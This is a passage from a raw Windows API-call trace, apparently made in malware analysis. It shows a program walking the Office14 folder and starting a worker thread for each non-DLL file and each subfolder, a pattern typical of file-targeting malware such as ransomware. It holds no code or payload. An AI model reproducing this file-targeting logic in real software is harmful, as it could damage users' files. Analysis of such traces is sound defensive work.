nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0150.340] wcscmp (_String1="LATIN1.SHP", _String2=".") returned 1 [0150.340] wcscmp (_String1="LATIN1.SHP", _String2="..") returned 1 [0150.340] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bdb0 [0150.340] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.340] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.340] wcscat (in: _Dest=0x93bdb0, _Source="LATIN1.SHP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP") returned="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" [0150.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0 [0150.341] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0150.342] wcscmp (_String1="LGND.DLL", _String2=".") returned 1 [0150.342] wcscmp (_String1="LGND.DLL", _String2="..") returned 1 [0150.342] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0150.342] wcscmp (_String1="Library", _String2=".") returned 1 [0150.342] wcscmp (_String1="Library", _String2="..") returned 1 [0150.342] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f0fe8 [0150.342] wcscpy (in: _Dest=0x8f0fe8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.342] wcscat (in: _Dest=0x8f0fe8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.342] wcscat (in: _Dest=0x8f0fe8, _Source="Library" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library" [0150.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c4 [0150.343] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0150.343] wcscmp (_String1="LOGELEMS.DLL", _String2=".") returned 1 [0150.343] wcscmp (_String1="LOGELEMS.DLL", _String2="..") returned 1 [0150.343] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0150.343] wcscmp (_String1="LOGMODEL.MDL", _String2=".") returned 1 [0150.343] wcscmp (_String1="LOGMODEL.MDL", _String2="..") returned 1 [0150.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c3c8 [0150.343] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.343] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.343] wcscat (in: _Dest=0x93c3c8, _Source="LOGMODEL.MDL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" [0150.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c8 [0150.344] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0150.345] wcscmp (_String1="LOGVIEW.DLL", _String2=".") returned 1 [0150.345] wcscmp (_String1="LOGVIEW.DLL", _String2="..") returned 1 [0150.345] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0150.345] wcscmp (_String1="LOOKUP.DAT", _String2=".") returned 1 [0150.345] wcscmp (_String1="LOOKUP.DAT", _String2="..") returned 1 [0150.345] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0150.345] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.345] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.345] wcscat (in: _Dest=0x93bcc0, _Source="LOOKUP.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" [0150.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc [0150.346] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0150.346] wcscmp (_String1="MAPIPH.DLL", _String2=".") returned 1 [0150.346] wcscmp (_String1="MAPIPH.DLL", _String2="..") returned 1 [0150.346] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0150.346] wcscmp (_String1="MAPISHELL.DLL", _String2=".") returned 1 [0150.346] wcscmp (_String1="MAPISHELL.DLL", _String2="..") returned 1 [0150.346] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0150.346] wcscmp (_String1="MCPS.DLL", _String2=".") returned 1 [0150.346] wcscmp (_String1="MCPS.DLL", _String2="..") returned 1 [0150.346] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0150.346] wcscmp (_String1="MEDCAT.DLL", _String2=".") returned 1 [0150.346] wcscmp (_String1="MEDCAT.DLL", _String2="..") returned 1 [0150.346] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0150.347] wcscmp (_String1="MEDIA", _String2=".") returned 1 [0150.347] wcscmp (_String1="MEDIA", _String2="..") returned 1 [0150.347] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f1a68 [0150.347] wcscpy (in: _Dest=0x8f1a68, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.347] wcscat (in: _Dest=0x8f1a68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.347] wcscat (in: _Dest=0x8f1a68, _Source="MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0150.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1a68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d0 [0150.348] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1 [0150.348] wcscmp (_String1="Microsoft.BusinessData.dll", _String2=".") returned 1 [0150.348] wcscmp (_String1="Microsoft.BusinessData.dll", _String2="..") returned 1 [0150.348] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1 [0150.348] wcscmp (_String1="Microsoft.BusinessData.xml", _String2=".") returned 1 [0150.348] wcscmp (_String1="Microsoft.BusinessData.xml", _String2="..") returned 1 [0150.348] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9408c0 [0150.348] wcscpy (in: _Dest=0x9408c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.348] wcscat (in: _Dest=0x9408c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.348] wcscat (in: _Dest=0x9408c0, _Source="Microsoft.BusinessData.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" [0150.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9408c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4 [0150.350] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1 [0150.350] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.dll", _String2=".") returned 1 [0150.350] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.dll", _String2="..") returned 1 [0150.350] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1 [0150.350] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.xml", _String2=".") returned 1 [0150.350] wcscmp (_String1="Microsoft.Office.BusinessApplications.Runtime.xml", _String2="..") returned 1 [0150.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0xd4b9eb8 [0150.350] wcscpy (in: _Dest=0xd4b9eb8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.350] wcscat (in: _Dest=0xd4b9eb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.350] wcscat (in: _Dest=0xd4b9eb8, _Source="Microsoft.Office.BusinessApplications.Runtime.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" [0150.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8 [0150.351] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1 [0150.351] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", _String2=".") returned 1 [0150.351] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.dll", _String2="..") returned 1 [0150.351] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1 [0150.351] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", _String2=".") returned 1 [0150.351] wcscmp (_String1="Microsoft.Office.BusinessApplications.RuntimeUi.xml", _String2="..") returned 1 [0150.351] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xbe) returned 0xd4b9ad0 [0150.352] wcscpy (in: _Dest=0xd4b9ad0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.352] wcscat (in: _Dest=0xd4b9ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.352] wcscat (in: _Dest=0xd4b9ad0, _Source="Microsoft.Office.BusinessApplications.RuntimeUi.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" [0150.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b9ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc [0150.353] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0150.353] wcscmp (_String1="Microsoft.Office.BusinessData.dll", _String2=".") returned 1 [0150.353] wcscmp (_String1="Microsoft.Office.BusinessData.dll", _String2="..") returned 1 [0150.353] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1 [0150.353] wcscmp (_String1="Microsoft.Office.BusinessData.xml", _String2=".") returned 1 [0150.353] wcscmp (_String1="Microsoft.Office.BusinessData.xml", _String2="..") returned 1 [0150.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x935a28 [0150.353] wcscpy (in: _Dest=0x935a28, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.353] wcscat (in: _Dest=0x935a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.353] wcscat (in: _Dest=0x935a28, _Source="Microsoft.Office.BusinessData.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" [0150.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0 [0150.354] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1 [0150.354] wcscmp (_String1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", _String2=".") returned 1 [0150.354] wcscmp (_String1="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", _String2="..") returned 1 [0150.354] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0150.354] wcscmp (_String1="Microsoft.Office.InfoPath.FormControl.dll", _String2=".") returned 1 [0150.354] wcscmp (_String1="Microsoft.Office.InfoPath.FormControl.dll", _String2="..") returned 1 [0150.354] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1 [0150.354] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", _String2=".") returned 1 [0150.355] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", _String2="..") returned 1 [0150.355] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0150.355] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", _String2=".") returned 1 [0150.355] wcscmp (_String1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", _String2="..") returned 1 [0150.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c7280 [0150.355] wcscpy (in: _Dest=0xd4c7280, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0150.355] wcscat (in: _Dest=0xd4c7280, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0150.355] wcscat (in: _Dest=0xd4c7280, _Source="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" [0150.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c7280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e4 [0150.357] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, 